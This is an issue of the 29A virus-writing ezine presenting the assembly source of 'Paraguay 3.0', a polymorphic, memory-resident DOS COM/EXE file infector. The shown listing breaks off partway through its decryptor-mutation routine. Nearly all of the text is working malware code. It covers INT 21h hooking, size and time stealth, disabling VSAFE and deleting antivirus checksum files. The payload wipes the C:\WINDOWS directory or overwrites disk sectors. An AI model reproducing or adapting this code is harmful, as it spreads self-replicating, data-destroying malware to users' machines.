Copy Link
Add to Bookmark
Report

29A Issue 02 04 07

eZine's profile picture
Published in 
29A
 · 4 years ago

  

Comment #

ßÛßßßßßÜ ßÜ Üß Ü ÜÜÜÜ Ü Ü Üßßß
Û Û Û Û Û ÛÜß Û Û ßßÛ
Û Û ß ß Û Û ßß ßßß
ÛÜÜÜÜÜß ÜÜÜ Ü ÜÜ ÜÜÜ ß Ü Ü ÜÜÜ Ü Ü
Û Û Ûß Û ÜßßßÜ Û Û Û Û Û
Û ÜßßÛ Û ÜßßÛ Û Û Û Û ÜßßÛ ßÜÜÛ
ÜÛÜ ßÜÜÛÜ Û ßÜÜÛÜ ßÜÜÜÛ ßÜÜß ßÜÜÛÜ Û ßßÜ ÜßßÜ
Û Û ßÜ Û Û
ßÜÜß ßÜÜß ßß ß ßß

ÄÄÄÄÄÄÄÄÄ Ä Ä ú Coded by Int13h in Paraguay, South America ú Ä Ä ÄÄÄÄÄÄÄÄÄ

Characteristics
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
* Appending COM/EXE infector. COMs > 666 and < 60000 bytes
* Resident using Memory Control Block (MCB), hooks INT 21h.
* Fast infector. Infects on open, execution, rename, extended
open and get/change attributes.
* Doesn't reinfect memory or files.
* Directory and Handle stealth. Hides virus-size on ah=11h/12h/4eh/4fh.
* Turns off VSAFE's flags while analyzing or infecting files. When the
dirty work is finished, the flags are returned, except of the 'Write
Protect' one, coz caches may make troubles.
* Time Stealth (AX=5700h and 5701h), returns correct seconds and prevents
any program from setting normal seconds to an infected file.
* Handler Stealth (AX=2521H and 3521H), returns previous handler for
INT 21h when someone requests it, and when any program wants to get
control over INT 21h, it sets it as second handler, this way, the
virus is always first at INT 21h.
* Gets INT 21h vector tracing the Progam Segment Prefix (PSP), and if it
finds it, it uses this one, otherwise it uses INT 21h normally.
* Deactivates trap flag and INT 01h, in order to avoid tunneling on any
int we hook.
* On May (Paraguayan's independence day), if we get a random byte over
200, the virus dels every file and subdirectories on stinky and filthy
C:\WINDOWS, setting it as an alternative entrance to DOS (from old
CP/M).
* It dels ANTI-VIR.DAT, CHKLIST.CPS, CHKLIST.MS and AVP.CRC in the dir
where files are infected.
* Files infected are set to 60 seconds.
* Doesn't infect files ended with AN,AV,OT,RD,RU,IT,VP,SK,IP,RJ,AR,HA
so we dont have probs with suckers. Whenever it detects an execution
of any file with these endings, it deactivates stealth. Then there
are no problems with compressing programs (pkzIP, aRJ, rAR, lHA) and
various AV's. Whenever the program terminates its execution
(AH=4Ch/int 21h or INT 20h) it reactivates stealth.
* Sets its own code for handling Errors.
* Avoids infecting immunized files (CPAV) and DOS 7.0 .COM's.
* There's no viral activity if Novell Network is detected.
* It doesn't infect WINSLOWS .EXE files.
* It doesn't infect with a different length from that specified on the
header (overlayed .EXE's).
* Maintains Date + Time (sets seconds to 60 ;-).
* Returning control to .COM tries to infect COMMAND.COM.
Returning contorl to .EXE verifies the payload condition.
* Opens files in 'Read Only' mode, and manipulates the System File Table to
change to 'Read/Write' mode, save attribs and set them to normal. It also
resets the pointer.
* Kinda polymorphic, with random regs selection and garbage
adding in the decryptor. The opcodes table changes on each infection.


Ä TO COMPILE IT ( I TASM, so I am )
* tasm parag-30.asm /m3
* tlink parag-30.obj

Greetz - Greetz - Greetz - Greetz - Greetz - Greetz - Greetz - Greetz

Methyl : hello prince of tunneling!
Superx : a mov ax,04202h takes in your code just a nibble :)
Tcp : your disassemblies rock
Mister Sandman: Metallica rulesss X-DDDD
Sepultura : come back to da scene, mate.
GriYo : disinfection-on-the-fly equ desinfectar-a-la-mosca ;-)
Jacky Qwerty : you can infect even a particle acelerator :)
Drako [DAN] : holas. mino@iia2.org no funciona :-( Saludos!

Also greetz to the gods: Vyvojar, F3161, Neurobasher, Masud & Dark Avenger.

#

.Model Tiny
.Code ; .Pseudocode would be better hehehe
Org 0h ; Yes, yes, yes; It's an EXE


Longitud equ (offset FakeHoste-offset Paraguay)
Largor equ (offset Omega-Offset Paraguay)
VirusEnPara equ (Largor+15)/16
Saltarlos equ (offset Jeroglifico-offset Paraguay)
Cripted equ ((offset Omega-offset Jeroglifico)/2)
ParraVir1 equ ((Longitud+15)/16)+1
ParraVir2 equ ((Longitud+15)/16)

Paraguay:
db 18 dup (090h) ; Buffer
call Paso1 ; Delta Offset
Paso1: nop
pop bp
Paso2: sub bp,offset Paso1 ; In BP goes delta (variable)
Junk02: db 8 dup (090h) ; In all labels Junk, garbage.
Paso3: mov bp,bp ; Used registers are selected
Junk03: db 4 dup (090h) ; randomly by the rnd code.
push cs ; DS:=CS
pop ds
Junk04: db 12 dup (090h)
Paso4: lea si,[bp+offset Jeroglifico] ; Index Register is variable
Junk05: db 6 dup (090h)
Paso5: db 081h,0c6h,0,0 ; ADD SI,0000
Junk06: db 10 dup (090h)
Paso6: push si ; Stack return address
Junk07: db 4 dup (090h) ; so RET jumps there.
Paso7: mov cx,Cripted/2 ; CX value is divided
Junk08: db 8 dup (090h)
Paso8: add cx,Cripted/2
Junk09: db 6 dup (090h)


Desencriptor: ; Hence the decryptor #:)
Paso9: db 081h,034h ; XOR WORD PTR [SI],CLAVE
Clave dw 0
Junk10: db 14 dup (090h)
Paso10: inc si ; It may be SI,DI or BX
inc si
Junk11: db 4 dup (090h) ; Waste, waste, waste...
Loop Desencriptor
Junk12: db 8 dup (090h)
ret ; Jumps into decryted or RETurns.
Junk13: db 16 dup (090h) ; It's needless, but just i put it.

Jeroglifico: ; Encrypted Virus
push es ; Replace DS, in case it is an EXE
pop ds ; DS:=ES
mov ah,2 ; TBCLEAN intended.
int 16h

mov ax,0db00h ; Verify whether NETX.EXE
int 21h ; from Novell Network is
or al,al ; resident.
jz NoHayNovell
jmp MemoriaYaPodrida ; If Novell's there, dont infect.

NoHayNovell:
mov ax,0cd13h ; Hell Good Interruption! ;)
int 21h
cmp ax,013cdh ; Residency test.
jne Instalar ; Load virus into memory.
jmp MemoriaYaPodrida

Instalar: ; Reserve room in
push es ; "R.A.M." Hotel :)
mov ax,3521h ; Old INT 21h handler.
int 21h
mov cs:[bp+word ptr Abuela21h],bx
mov cs:[bp+word ptr Abuela21h+2],es
mov cs:[bp+word ptr Real21h],bx ; In case PSP tracing fails.
mov cs:[bp+word ptr Real21h+2],es

mov ax,3520h ; Old INT 20h handler.
int 21h
mov cs:[bp+word ptr Interrupcion20h],bx
mov cs:[bp+word ptr Interrupcion20h+2],es
push ds ; Data Segment to stack

lds bx,ds:[0006h] ; Search for original INT 21h
Tracear:cmp byte ptr ds:[bx],0eah ; handler in PSP.
jne Chekear ; Thanks Satan's Little Helper
lds bx,ds:[bx+1]
cmp word ptr ds:[bx],9090h ; Search for double NOP
jnz Tracear
sub bx,32h
cmp word ptr ds:[bx],9090h ; " " " "
jne Chekear
Hallado:mov cs:[bp+word ptr Real21h],bx ; Save found address
mov cs:[bp+word ptr Real21h+2],ds
jmp short MCBTSR
Chekear:cmp word ptr ds:[bx],2e1eh
jnz MCBTSR
add bx,25h
cmp word ptr ds:[bx],80fah
je Hallado


MCBTSR: pop ds ; Unload Data Segment from stack
mov ax,ds ; Get resident using
dec ax ; <----- MCB
mov es,ax
mov ax,es:[3] ; Memory
sub ax,ParraVir1 ; Substract virus length
xchg bx,ax ; in paragraphs (16 bytes)
push ds ; ES:=DS
pop es
mov ah,4ah ; Free unused memory
int 21h

mov ah,48h ; Allocate memory
mov bx,ParraVir2
int 21h

dec ax
mov es,ax
mov word ptr es:[1],8 ; Virus? Nope... its DOS ;)
mov word ptr es:[8],'PY' ; Block's name: PY (Paraguay)
inc ax
mov es,ax
xor di,di

push cs ; Copy virus to free segment
pop ds
lea si,[bp+offset Paraguay] ; From the begining
mov cx,Longitud ; CX bytes
rep movsb

int 03h ; 4 DEBUG!

xor ax,ax
mov ds,ax ; DS:=0
mov dx,offset Maldita21h ; Gets INT 21h directly
mov word ptr ds:[21h*4],dx ; modifying the IVT
mov ds:[21h*4+2],es

mov dx,offset Inty20h ; Gets INT 20h
mov word ptr ds:[20h*4],dx
mov ds:[20h*4+2],es
pop es ; Extra Segment saved

MemoriaYaPodrida:
cmp byte ptr [bp+ComOexe],'C' ; What are we infecting?
je CorrerCOM

mov ah,2ah ; System's date.
int 21h

cmp dh,05 ; Independence month!!
jne SigaNomas

in ax,40h ; Trivial Randomic Generator.
cmp al,200d
jb SigaNomas

push cs ; DS:=CS
pop ds

mov ah,03bh
lea dx,[bp+Offset WindoSucks] ; Enter the directory
int 21h
jc LittleDamage ; Error Hmmm Lets fuck it anyway! ;)

lea ax,[bp+offset ImprimirCadena]
push ax ; Stack Return Address
push cs ; Our Code Segment
pushf ; And the flags
mov cl,13h ; Delete using FCB (Function in cl)
lea dx,[bp+offset FCBTrucho] ; The diabolic table
sub ax,ax ; 0 Segment
push ax
mov ax,00c0h ; Offset 0c0h = alternative entrance
push ax
retf ; Jmp there!

LittleDamage:
in ax,40h
xchg dx,ax
xor dh,dh ; Just between the first 0xff sectores
mov al,2 ; Drive C:
mov cx,2 ; Smashs two random sectors
int 26h

ImprimirCadena: ; Social Presentation
push cs
pop ds
mov ah,9 ; Print Copyright
lea dx,[bp+offset CopyWrong]
int 21h

xor ax,ax ; It even pauses! :)
int 16h

SigaNomas:
push es ; Correct Data Segment
pop ds

mov bx,bp ; F-Prot's guilty for this

mov ax,es
add ax,10h ; Because of the PSP
add cs:[(bx+CS_IP)+2],ax

cli ; Stop ints
add ax,cs:[(bx+SS_SP)+2]
mov ss,ax ; Its stack segment
mov sp,cs:[bx+SS_SP] ; and its stack pointer
sti ; Free ints

call Limpiar ; Reinitialize registries

db 0ebh,0h ; Free the prefetch queue
db 0eah ; Jump to EXE's CS:IP
CS_IP dw offset FakeHoste,0h
SS_SP dw 0,0 ; Its SS:SP


CorrerCOM:
call Segmentos
mov ah,56h ; Rename! Hehe, just to infect
lea dx,[bp+offset CommandCom] ; COMMAND.COM, making sure we
mov di,dx ; get on memory early each day in
int 21h ; the morning.

lea si,[bp+offset Vafer] ; Its original bytes...
mov di,100h
push di ; 100h to stack
cld
movsb ; Return its old bytes.
movsw

Limpiar:xor ax,ax
xor bx,bx
xor cx,cx ; Clean registers
xor dx,dx
xor si,si
xor di,di
xor bp,bp
ret ; Run COM or return to caller


Stealth_Segundos2:
push dx
push cx ; Saves originals
mov ax,5700h ; Get date & time of the given handle
pushf
call dword ptr cs:[Real21h]
and cl,00011111b
cmp cl,00011110b ; ¨60 seconds? ¨Infected?
jne Tranquilopa
pop cx
and cl,11100000b ; Marks as infected
or cl,00011110b ; 30*2=60!
push cx
Tranquilopa:
pop cx
pop dx
mov ax,5701h ; Set the date & time
pushf
call dword ptr cs:[Real21h]
iret


Stealth_Segundos1:
pushf
call dword ptr cs:[Real21h] ; Do the real int
push cx
and cl,00011111b
cmp cl,00011110b ; ¨60 seconds?
jne NoPasaNada
pop cx
and cl,11100000b ; Erase erronous infect mark
or cl,1 ; 1*2=2 seconds
push cx
NoPasaNada:
pop cx
iret



Maldito_Jump2: ; Worst opcodes are those short
jmp Stealth2 ; jumps of 128 bytes! :-(
Maldito_Jump3:
jmp Analizar


;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Maldita21h: Its the INT 21h handler set by Paraguay 3.0 !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Maldita21h proc far ; My INT 21h
push ds
push si
push ax ; Saving the registers I'll use.
push bx
pushf
pop ax ; Get flags into AX
and ah,11111110b ; Zero out Trap Flag used for
push ax ; tunneling
popf ; And load modified flags from AX
sub ax,ax
mov ds,ax ; DS:=0 = IVT
mov bx,4 ; 0000:0004 = Int 1h handler
lds si,[bx] ; DS:SI = " " "
mov bl,byte ptr [si] ; Handler's first byte in bl
mov byte ptr [si],0cfh ; That is an InterruptionRETurn
pop bx
pop ax ; Restore registers
pop si
pop ds

cmp ax,0cd13h ; Memory Check
je Chequeo
cmp ax,03521h ; Hide Int21h
je Ocultar21h_A
cmp ax,02521h ; Protect Int21h
je Ocultar21h_B
cmp ax,05700h ; Hide wrong secs
je Stealth_Segundos1
cmp ax,05701h ; Protect wrong secs
je Stealth_Segundos2
cmp ah,11h ; FCB finding first
je Stealth1
cmp ah,12h ; FCB finding next
je Stealth1
cmp ah,4eh ; Finding first
je Maldito_Jump2
cmp ah,4fh ; Finding next
je Maldito_Jump2
cmp ah,04bh ; Program execution
je Maldito_Jump3
cmp ah,056h ; Rename files
je Maldito_Jump3
cmp ah,043h ; Get/Set attribs
je Maldito_Jump3
cmp ah,3dh ; Open
je Maldito_Jump3
cmp ax,6c00h ; Extended Open
je Maldito_Jump3
cmp ah,4ch ; Program end...
je SalidaProg
db 0eah ; Normal INT, uninteresting :)
Abuela21h dw 0,0
Chequeo:xchg ah,al ; Yes!!!! Here we are.
iret
Maldita21h endp


SalidaProg: ; Int 21h/4Ch to end the program
mov byte ptr cs:[HacerStealth],1; Set stealth flag
jmp dword ptr cs:[Abuela21h]


Inty20h: ; Int 20h ending (4 some old COMs)
mov byte ptr cs:[HacerStealth],1; Set stealth flag
db 0eah
Interrupcion20h dw 0,0


Ocultar21h_A:
mov bx,cs:[word ptr Abuela21h] ; Old handler into ES:BX
mov es,cs:[word ptr Abuela21h+2]
iret

Ocultar21h_B:
mov cs:[word ptr Abuela21h],dx ; Set DS:DX as second handler
mov cs:[word ptr Abuela21h+2],ds; in the chain.
iret ; Viruses first ;)


;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Stealth1: Edit File Control Block size to hide the al virus !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Stealth1: ; FCB stealth
pushf
call dword ptr cs:[Abuela21h]
or al,al ; al = 0?
jne ErrorDir ; Puaj! Error :-(

push ax
push bx ; Save this regs into the stack
push es

mov ah,62h ; PSP: where is it?
int 21h

mov es,bx
cmp bx,es:[16h] ; Correct PSP?
jne Fuera ; Nope, chau.

mov bx,dx ; Points to original FCB in the PSP
mov al,[bx]
push ax ; Save AX for later comparison

mov ah,2fh ; In ES:BX there is DTA's address
int 21h
pop ax ; Reget AX (AL=ffh or AL=1)
inc al ; Which FCB-type?
jne FCBComun
add bx,7 ; Its extended, turn it normal

FCBComun:
mov al,byte ptr es:[bx+17h] ; True Seconds...
and al,00011111b
cmp al,00011110b ; 60 seconds?
jne Fuera

cmp word ptr es:[bx+1dh],(Largor+200)
ja Sustraer ; If greater than virus, substract.

cmp word ptr es:[bx+1fh],0 ; Too small as to be infected
je Fuera

Sustraer:
sub word ptr es:[bx+1dh],Largor
sbb word ptr es:[bx+1fh],0000 ; Substract virus size
or byte ptr es:[bx+17h],1 ; Hide the seconds

Fuera: pop es ; Pop modified regs
pop bx
pop ax
ErrorDir:
retf 2 ; IRET maintaining flags


;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Stealth2: Edit Disk Transfer Area size to hide the virus !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Stealth2: ; Handle stealth
pushf
call dword ptr cs:[Abuela21h]
jc Demonios ; If carry is set...­ERROR!

cmp byte ptr cs:[HacerStealth],0; Is stealth off?
je Demonios

pushf
push ax
push es
push bx

mov ah,2fh ; DTAddress
int 21h ; in ES:BX

mov ax,es:[bx+16h] ; Unhide the seconds
and al,00011111b
cmp al,00011110b ; 60 segundos?
jne Paso

cmp word ptr es:[bx+1ah],(Largor+200d)
jb Paso ; Verify size

sub word ptr es:[bx+1ah],Largor ; Substract virus
sbb word ptr es:[bx+1ch],0000
or byte ptr es:[bx+16h],1 ; Hide seconds

Paso: pop bx
pop es
pop ax
popf
Demonios:
retf 2 ; RETurn


;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Manejador24h: Pseudo-error-handler, so as to avoid write protect errors !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Manejador24h proc near ; Dumb critic error handler
mov al,03
iret ; -It's nothing, officer...
Manejador24h endp



Maldito_Jump4: ; 128 byte shit junk
jmp PopAll

SoloPopear:
jmp JustPOPs


;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Analizar: Analize and eventual infection of file given in DS:DX !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Analizar: ; Examine victim
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es

cmp ax,6c00h ; Special case DS:SI
jne No_Apertura_Extendida

cmp dx,0001 ; Standard open
jne SoloPopear

mov dx,si ; Now its DS:DX also

No_Apertura_Extendida:
push ax
push dx ; V¡ctim
push ds

mov ax,3524h ; Int 24h Handler
int 21h
mov word ptr cs:[Vieja24h],bx
mov word ptr cs:[(Vieja24h)+2],es
push cs
pop ds

mov ax,2524h ; Pipe it
mov dx,offset Manejador24h
int 21h

mov ax,0fa02h ; Turn off VSAFE's flags
mov dx,5945h ;
mov bl,00000000b ; New flags = 0
int 21h
mov byte ptr cs:[Vsuck],cl ; Save flags for later

pop ds ; Candidate in DS:DX
pop dx
push ds
pop es
pop ax
cld
mov di,dx
mov cx,128
mov al,'.' ; Search jumping .
repne scasb
jne Maldito_Jump4

push ax

mov ax,word ptr es:[di-3] ; Dont infect undesirable!
or ax,02020h
cmp ax,'na' ; scAN / cleAN / tbscAN / tbcleAN
je Actuar
cmp ax,'va' ; tbAV / nAV
je Actuar
cmp ax,'to' ; fool-prOT
je Actuar
cmp ax,'dr' ; guaRD
je Actuar
cmp ax,'ur' ; findviRU
je Actuar
cmp ax,'ti' ; toolkIT
je Actuar
cmp ax,'pv' ; aVP
je Actuar
cmp ax,'ks' ; chkdSK
je Actuar
cmp ax,'pi' ; pkzIP
je Actuar
cmp ax,'jr' ; aRJ
je Actuar
cmp ax,'ra' ; rAR
je Actuar
cmp ax,'ah' ; lHA
je Actuar
pop ax
jmp short IsNotEvilSoft

Actuar: pop ax
cmp ah,04bh ; Will junk be exec'ed?
jne Maldito_Jump5
mov byte ptr cs:[HacerStealth],0; Turn stealth off
jmp short Maldito_Jump5

IsNotEvilSoft:
xchg si,di ; Check ext
lodsw
or ax,2020h ; Uncapitalize
cmp ax,'oc' ; .CO?
jne VerEXE3
lodsb
or al,20h
cmp al,'m' ; .COM?
je Label3
Maldito_Jump5:
jmp PopAll ; Abort mission

VerEXE3:cmp ax,'xe' ; .EX?
jne Maldito_Jump5
lodsb
or al,20h
cmp al,'e' ; .EXE?
jne Maldito_Jump5

Label3: mov ax,3d00h ; Open host in read-only
pushf ; mode
call dword ptr cs:[Real21h]
jc Maldito_Jump5
xchg bx,ax ; Handle into BX
mov word ptr cs:[Handle],bx

push cs
pop ds

mov ax,4301h ; Get ANTI-VIR.DAT attrib naked
mov dx,offset Basura1
sub cx,cx
pushf ; Call handler directly
call dword ptr cs:[Real21h]

mov ah,41h ;
mov dx,offset Basura1
int 21h

mov ah,41h ; Chau CHKLIST.MS
mov dx,offset Basura2
int 21h

mov ah,41h ; C ya CHKLIST.CPS
mov dx,offset Basura3
int 21h

mov ah,41h ; Good luck AVP.CRC
mov dx,offset Basura4
int 21h

mov ax,5700h ; Time and Date please
pushf ; Call handler directly
call dword ptr cs:[Real21h]
mov word ptr cs:[Time],cx
mov word ptr cs:[Date],dx
and cl,00011111b
cmp cl,00011110b ; 30*2= ¨60?
jne Conti ; Already infected?
jmp Maldito_Jump6


Conti: call Segmentos ; Set working segments
mov ah,3fh ; Read from the beginning
mov cx,45d ; 45 bytes to our buffer
mov dx,offset Cabecera
int 21h

mov si,dx ; Is it a True EXE?
cmp word ptr [si],'ZM'
je InfectarEXE
cmp word ptr [si],'MZ' ; Other way
je InfectarEXE


InfectarCOM: ; Notice .COM files
push bx ; Save handle
mov ah,30h
int 21h
pop bx ; And restore it here ;)
cmp al,7 ; Dare not touch the COMs
jae Maldito_Jump6 ; from DOS 7 or above

call AlFinal
cmp ax,60000d ; Check size
ja Maldito_Jump6
cmp ax,029Ah ; Hi there spanish pals ;-)
jbe Maldito_Jump6

cmp word ptr [si+11d],'TW' ; CPAV immunized?
je Maldito_Jump6

mov byte ptr [COMoEXE],'C' ; Mark as .COM
mov di,offset Vafer ; which we will write into 100h after
movsb
movsw

sub ax,3 ; JMP
mov word ptr [Salto+1],ax

call HIPOCRESIA ; Change the face. ­HIPOCRITE! ;)

mov bx,[Handle] ; Handle in BX

call Manipular_SFT ; Modify SFT info

mov ah,40h
mov cx,Largor
mov dx,offset CopiaVir
int 21h ; ADD file,virus

mov word ptr es:[di+015h],00 ; Pointer to the beginning SFT
mov word ptr es:[di+017h],00

mov ah,40h ; Write the JMP
mov cx,3
mov dx,offset Salto
int 21h

inc word ptr [Contador] ; One more ;)

mov cl,byte ptr [Atributos] ; Return its original attribs
mov byte ptr es:[di+4],cl

call PongoFecha ; Restore date and time
Maldito_Jump6:
jmp Cerrar ; Close and go


InfectarEXE: ; Notice .EXE
cmp word ptr [si+018h],0040h ; If Windoze let it rot
jae Maldito_Jump6

cmp word ptr [si+01ah],0000 ; Overlay?
jne Maldito_Jump6

cmp word ptr [si+43d],'TW' ; Sucked with CPAV's code?
je Maldito_Jump6

call AlFinal

mov cx,512d ; See if not overlayed
div cx
or dx,dx ; Is multiple?
je NoHayResto
inc ax
NoHayResto:
cmp word ptr [si+02h],dx ; Do partial page bytes match?
jne Maldito_Jump6
cmp word ptr [si+04h],ax ; Total page bytes match
jne Maldito_Jump6 ; real size?

mov byte ptr [COMoEXE],'E' ; EXE marked
call AlFinal
push dx ; Size
push ax

les ax,dword ptr [(Cabecera+014h)]
mov [CS_IP],ax ; The world-wide known CS:IP and the
mov [(CS_IP+2)],es ; not less well-known SS:SP
les ax,dword ptr [(Cabecera+0eh)]
mov word ptr [SS_SP],es ; CS:IP (Intel Reversed Word Format)
mov word ptr [(SS_SP+2)],ax ; SS:SP (Non " " " " )

mov ax,word ptr [(Cabecera+08h)]
mov cl,4
shl ax,cl
xchg bx,ax
pop ax ; Pop size
pop dx
push ax
push dx ; Repush
sub ax,bx
sbb dx,0
mov cx,10h
div cx ; Turn into segmented style
mov word ptr [(Cabecera+014h)],dx
mov word ptr [(Cabecera+016h)],ax
mov word ptr [(Cabecera+0eh)],ax
mov word ptr [(Cabecera+010h)],0

pop dx ; Pop size one more time
pop ax

add ax,Largor ; Host+Virus size
adc dx,0
mov cl,9
push ax
shr ax,cl
ror dx,cl
or dx,dx ; Garbage
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [(Cabecera+4)],dx
mov word ptr [(Cabecera+2)],ax

mov ax,word ptr [(Cabecera+0ah)]; MinAlloc
clc
add ax,VirusEnPara
jc NoAgregarMemoria ; If carry dont add
mov word ptr [(Cabecera+0ah)],ax
NoAgregarMemoria: ; MaxAlloc, underneath
mov word ptr [(Cabecera+0ch)],0ffffh

call HIPOCRESIA ; Change yer face. ­HIPOCRITE!

mov bx,[Handle]

call Manipular_SFT

mov ah,40h
mov cx,Largor ; Stack virus at the end
mov dx,offset CopiaVir
int 21h

mov word ptr es:[di+015h],00 ; Set pointer to start simply by
mov word ptr es:[di+017h],00 ; resetting the pos set in SFT

mov ah,40h ; Write header at the beginning
mov cx,01ah
mov dx,offset Cabecera
int 21h

inc word ptr [Contador] ; Another one for the list

mov cl,byte ptr [Atributos] ; Return Original Attribs
mov byte ptr es:[di+4],cl

call PongoFecha ; Restore Date and Time set

Cerrar: mov ah,3eh ; Close file
int 21h

PopAll: push cs
pop ds

mov ds,word ptr [Vieja24h+2]
mov dx,cs:word ptr [offset Vieja24h]
mov ax,2524h
int 21h ; Restore Error Handler

mov ax,0fa02h ; Before ending, clean tracks
mov dx,5945h ; Restore VSAFE's flags
mov bl,byte ptr cs:[Vsuck]
and bl,11111011b ; Turn off write-protected flag
int 21h ; (cache stuff)

JustPOPs:
pop es ; Pop all regs
pop ds ;
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:[Abuela21h]



Contador dw 0 ; Infection counter
CopyWrong db 'VIRUS PARAGUAY Ver. 3.0!$ Programmed by Int13h,'
db ' in Paraguay, South America.'

Basura1 db 'ANTI-VIR.DAT',0 ; Computer disgraces
Basura2 db 'CHKLIST.MS',0
Basura3 db 'CHKLIST.CPS',0
Basura4 db 'AVP.CRC',0
CommandCom db 'C:\COMMAND.COM',0 ; To infect this sucker
WindoSucks db 'C:\WINDOWS',0 ; I'm about to vomit! Puuuaaaaj!!
Salto db 0e9h,00h,00h ; Initial jump at beginning of COM
Vafer db 090h,0cdh,020h ; The three original COM bytes
Cinco db 5 ; So as to randomize decryptor's CX
ComOexe db 'E' ; The mark
FCBTrucho db 0ffh ; The FCB table to delete
db 5 dup(0) ; WINDOWS dir
db 1fh ; with all its files and subdirs
db 3 ; no matter their attribs.
db '???????????'
db 19h dup(0)
Real21h dw 0,0 ; Real 21h handler



;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! Manipular_SFT: Modify opening mode of file and save/change attribs !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Manipular_SFT:
push bx
mov ax,1220h ; Get Job System Table
int 2fh ; in ES:DI

mov ax,1216h ; Now the File System Table
xor bh,bh ; for our handle in ES:DI
mov bl,es:[di]
int 2fh

mov cl,byte ptr es:[di+4] ; Manipulate SFT
mov byte ptr [Atributos],cl ; Get attribs
mov byte ptr es:[di+4],20h ; Attrib = 20h = file
mov byte ptr es:[di+2],2 ; Read/write access
pop bx
ret



Maldito_Jump7: ; Must I say something about
jmp Muto7 ; 128 byte-jumps still??? :)
Maldito_Jump8:
jmp Muto6
Maldito_Jump9:
jmp Muto5
Maldito_Jump10:
jmp Muto4


;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
;! HIPOCRESIA: Mute decryptor opcode x opcode. Copy heap (between others) !
;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
HIPOCRESIA:
call segmentos
DamePalabraRandomica:
in ax,40h ; Encryption key
or ax,ax
je DamePalabraRandomica
mov [Clave],ax

in ax,40h ; Random number from port 40h
mov dx,ax

cmp al,36 ; Regs selector
jb Maldito_Jump7 ; with which we'll work
cmp al,72 ; in the decryptor.
jb Maldito_Jump8 ; This is the beginning, that is
cmp al,108 ; where IP which CALL left
jb Maldito_Jump9 ; on the stack will get popped
cmp al,144 ; and this way get the delta offset
jb Maldito_Jump10 ; that goes into BP
cmp al,180
jb Muto3
cmp al,216
jb Muto2

Muto1: mov bx,offset Paso1 ; Mute, mute, mute y mute.
mov [bx],0582fh ; DAS / POP AX
mov bx,offset Paso2
mov [bx],02d90h ; NOP / SUB AX
mov bx,offset Paso3
cmp dl,85d
jb Little1
cmp dl,170d
jb Little12
mov [bx],0c589h ; MOV BP,AX
jmp Sigo
Little1:mov [bx],0fb95h ; STI / XCHG BP,AX
jmp Sigo
Little12:mov [bx],0c587h ; XCHG AX,BP
jmp Sigo
Muto2: mov bx,offset Paso1
mov [bx],05ef5h ; CMC / POP SI
mov bx,offset Paso2
mov [bx],0ee81h ; SUB SI
mov bx,offset Paso3
cmp dl,85d
jb Little2
cmp dl,170d
jb Little22
mov [bx],0f589h ; MOV BP,SI
jmp Sigo
Little2:mov [bx],0ee87h ; XCHG BP,SI ­Theyre different opcodes!
jmp Sigo
Little22:mov [bx],0f587h ; XCHG SI,BP Thats why we get both
jmp Sigo
Muto3: mov bx,offset Paso1
mov [bx],0593fh ; AAS / POP CX
mov bx,offset Paso2
mov [bx],0e981h ; SUB CX
mov bx,offset Paso3
cmp dl,85d
jb Little3
cmp dl,170d
jb Little32
mov [bx],0cd89h ; MOV BP,CX
jmp Sigo
Little3:mov [bx],0e987h ; XCHG BP,CX
jmp Sigo
Little32:mov [bx],0cd87h ; XCHG CX,BP
jmp Sigo
Muto4: mov bx,offset Paso1
mov [bx],05b27h ; DAA / POP BX
mov bx,offset Paso2
mov [bx],0eb81h ; SUB BX
mov bx,offset Paso3
cmp dl,85d
jb Little4
cmp dl,170d
jb Little42
mov [bx],0dd89h ; MOV BP,BX
jmp Sigo
Little4:mov [bx],0eb87h ; XCHG BP,BX
jmp Sigo
Little42:mov [bx],0dd87h ; XCHG BX,BP
jmp Sigo
Muto5: mov bx,offset Paso1
mov [bx],05fcch ; INT 3 / POP DI
mov bx,offset Paso2
mov [bx],0ef81h ; SUB DI
mov bx,offset Paso3
cmp dl,85d
jb Little5
cmp dl,170d
jb Little52
mov [bx],0fd89h ; MOV BP,DI
jmp Sigo
Little5:mov [bx],0ef87h ; XCHG BP,DI
jmp Sigo
Little52:mov [bx],0fd87h ; XCHG DI,BP
